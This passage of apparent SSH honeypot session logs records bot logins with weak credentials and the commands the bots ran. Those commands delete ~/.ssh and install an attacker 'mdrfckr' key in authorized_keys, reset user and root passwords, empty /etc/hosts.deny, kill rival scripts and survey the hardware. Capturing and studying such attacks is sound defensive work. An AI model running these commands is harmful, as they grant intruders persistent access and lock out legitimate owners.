AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T12:17:16.042894+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T12:17:16.380889+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T12:17:16.644675+00:00","kind":"input","latency_ms":null,"data":"echo -e \"ebi\\nNoOeIfGFiTIs\\nNoOeIfGFiTIs\"|passwd|bash"},{"seq":6,"at":"2026-08-27T12:17:16.913957+00:00","kind":"input","latency_ms":null,"data":"echo \"ebi\\nNoOeIfGFiTIs\\nNoOeIfGFiTIs\\n\"|passwd"},{"seq":7,"at":"2026-08-27T12:17:17.165286+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T12:17:17.869929+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T12:17:18.130658+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T12:17:19.911836+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T12:17:20.175318+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T12:17:21.396525+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T12:17:21.659327+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T12:17:22.036872+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T12:17:22.298725+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T12:17:22.805229+00:00","kind":"output","latency_ms":null,"data":" 12:17:22 up 7 days, 9:07, 0 user, load average: 0.26, 0.29, 0.21\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T12:17:23.066362+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T12:17:23.591332+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T12:17:23.853935+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T12:17:24.732704+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T12:17:24.996115+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T12:17:25.464815+00:00","kind":"output","latency_ms":null,"data":"top - 12:17:25 up 7 days, 9:07, 0 user, load average: 0.26, 0.29, 0.21\nTasks: 118 total, 1 running, 117 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 7785 free, 8102 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T12:17:25.727322+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T12:17:27.068869+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T12:17:27.331101+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T12:17:29.411667+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T12:17:29.674218+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T12:17:30.301205+00:00","kind":"output","latency_ms":null,"data":"ebi"},{"seq":29,"at":"2026-08-27T12:17:30.564249+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T12:17:31.700280+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T12:17:31.961177+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T12:17:33.340116+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"ebi","password":"ebi","method":"password","accepted":true,"tier":"other"}]} {"id":"38e87d5e-ef1f-45a2-bb06-542130b3b7bf","name":"hazel-upland-numbat","protocol":"ssh","channel_kind":"exec","src_ip":"91.218.67.81","src_port":55238,"username":"admin123","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":295,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T12:16:49.883425+00:00","ended_at":"2026-08-27T12:16:52.008092+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2251,"events":[{"seq":1,"at":"2026-08-27T12:16:34.255006+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T12:16:34.548514+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T12:16:37.676608+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T12:16:38.127708+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T12:16:38.421119+00:00","kind":"input","latency_ms":null,"data":"echo -e \"admin\\n0sAC8lMcw8Xk\\n0sAC8lMcw8Xk\"|passwd|bash"},{"seq":6,"at":"2026-08-27T12:16:38.714122+00:00","kind":"input","latency_ms":null,"data":"echo \"admin\\n0sAC8lMcw8Xk\\n0sAC8lMcw8Xk\\n\"|passwd"},{"seq":7,"at":"2026-08-27T12:16:39.043027+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T12:16:39.309282+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T12:16:39.606254+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T12:16:40.816363+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T12:16:41.113661+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T12:16:41.989014+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T12:16:42.287540+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T12:16:42.820316+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T12:16:43.116260+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T12:16:43.436214+00:00","kind":"output","latency_ms":null,"data":" 12:16:43 up 7 days, 9:06, 0 user, load average: 0.35, 0.25, 0.4\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T12:16:43.731136+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T12:16:44.215226+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T12:16:44.510956+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T12:16:44.871438+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T12:16:45.167000+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T12:16:45.519756+00:00","kind":"output","latency_ms":null,"data":"top - 12:16:45 up 7 days, 9:06, 0 user, load average: 0.35, 0.25, 0.4\nTasks: 110 total, 1 running, 109 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9691 free, 6196 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T12:16:45.815788+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T12:16:46.378185+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T12:16:46.674033+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T12:16:47.199370+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T12:16:47.495765+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T12:16:48.174694+00:00","kind":"output","latency_ms":null,"data":"admin123"},{"seq":29,"at":"2026-08-27T12:16:48.470346+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T12:16:49.589234+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T12:16:49.883953+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T12:16:51.921491+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"admin123","password":"admin","method":"password","accepted":true,"tier":"other"}]} {"id":"fe5b7c35-3ce5-4bff-b1e5-8e487ed5dab9","name":"windswept-earnest-vicuna","protocol":"ssh","channel_kind":"exec","src_ip":"187.111.28.131","src_port":59540,"username":"dev","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":443,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T12:15:45.537099+00:00","ended_at":"2026-08-27T12:15:47.083834+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2254,"events":[{"seq":1,"at":"2026-08-27T12:15:24.762963+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T12:15:25.204912+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T12:15:29.938342+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T12:15:30.272593+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T12:15:30.715378+00:00","kind":"input","latency_ms":null,"data":"echo -e \"123456789\\nwVUIADNRdB9U\\nwVUIADNRdB9U\"|passwd|bash"},{"seq":6,"at":"2026-08-27T12:15:31.160785+00:00","kind":"input","latency_ms":null,"data":"echo \"123456789\\nwVUIADNRdB9U\\nwVUIADNRdB9U\\n\"|passwd"},{"seq":7,"at":"2026-08-27T12:15:31.603376+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T12:15:32.387240+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T12:15:32.828911+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T12:15:33.874762+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T12:15:34.326121+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T12:15:35.590118+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T12:15:36.033673+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T12:15:36.299680+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T12:15:36.742583+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T12:15:37.642664+00:00","kind":"output","latency_ms":null,"data":" 12:15:37 up 7 days, 9:05, 0 user, load average: 0.24, 0.2, 0.23\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T12:15:38.086434+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T12:15:38.666430+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T12:15:39.110581+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T12:15:39.376430+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T12:15:39.820848+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T12:15:40.275556+00:00","kind":"output","latency_ms":null,"data":"top - 12:15:40 up 7 days, 9:05, 0 user, load average: 0.24, 0.2, 0.23\nTasks: 110 total, 1 running, 109 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8738 free, 7149 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T12:15:40.722643+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T12:15:41.369324+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T12:15:41.811347+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T12:15:42.393940+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T12:15:42.835858+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T12:15:43.439543+00:00","kind":"output","latency_ms":null,"data":"dev"},{"seq":29,"at":"2026-08-27T12:15:43.884119+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T12:15:45.092870+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T12:15:45.537616+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T12:15:46.948163+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"dev","password":"123456789","method":"password","accepted":true,"tier":"other"}]} {"id":"779e6bda-1ea1-48e9-a699-6b4db9dfc7e7","name":"polar-rambling-hyrax","protocol":"ssh","channel_kind":"exec","src_ip":"2.26.148.64","src_port":37324,"username":"sklep","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":327,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T12:15:38.945247+00:00","ended_at":"2026-08-27T12:15:40.531770+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2250,"events":[{"seq":1,"at":"2026-08-27T12:15:20.842068+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T12:15:21.171919+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T12:15:25.954235+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T12:15:26.408678+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T12:15:26.736998+00:00","kind":"input","latency_ms":null,"data":"echo -e \"sklep\\nuJ21Ozo256Nt\\nuJ21Ozo256Nt\"|passwd|bash"},{"seq":6,"at":"2026-08-27T12:15:27.066338+00:00","kind":"input","latency_ms":null,"data":"echo \"sklep\\nuJ21Ozo256Nt\\nuJ21Ozo256Nt\\n\"|passwd"},{"seq":7,"at":"2026-08-27T12:15:27.396304+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T12:15:28.121798+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T12:15:28.450084+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T12:15:29.497511+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T12:15:29.825894+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T12:15:30.738595+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T12:15:31.067909+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T12:15:31.530480+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T12:15:31.860147+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T12:15:32.535696+00:00","kind":"output","latency_ms":null,"data":" 12:15:32 up 7 days, 9:05, 0 user, load average: 0.22, 0.17, 0.21\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T12:15:32.862957+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T12:15:33.662865+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T12:15:33.988757+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T12:15:34.275521+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T12:15:34.602019+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T12:15:34.955768+00:00","kind":"output","latency_ms":null,"data":"top - 12:15:34 up 7 days, 9:05, 0 user, load average: 0.22, 0.17, 0.21\nTasks: 117 total, 1 running, 116 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9850 free, 6037 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T12:15:35.285343+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T12:15:35.781831+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T12:15:36.110488+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T12:15:36.414558+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T12:15:36.741242+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T12:15:37.104191+00:00","kind":"output","latency_ms":null,"data":"sklep"},{"seq":29,"at":"2026-08-27T12:15:37.431230+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T12:15:38.618380+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T12:15:38.946043+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T12:15:40.433898+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"sklep","password":"sklep","method":"password","accepted":true,"tier":"other"}]} {"id":"4ce08521-74d7-484d-bd2b-50f1e132ad39","name":"languid-dusky-flamingo","protocol":"ssh","channel_kind":"exec","src_ip":"51.255.195.46","src_port":34528,"username":"ftproot","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":261,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T12:15:30.385373+00:00","ended_at":"2026-08-27T12:15:31.284296+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2307,"events":[{"seq":1,"at":"2026-08-27T12:15:13.466742+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T12:15:13.725497+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T12:15:17.697624+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T12:15:18.400873+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T12:15:18.661213+00:00","kind":"input","latency_ms":null,"data":"echo \"root:qjkDcvzuN57B\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T12:15:18.920803+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T12:15:19.180250+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T12:15:19.581142+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T12:15:19.842886+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T12:15:20.897197+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T12:15:21.161499+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which 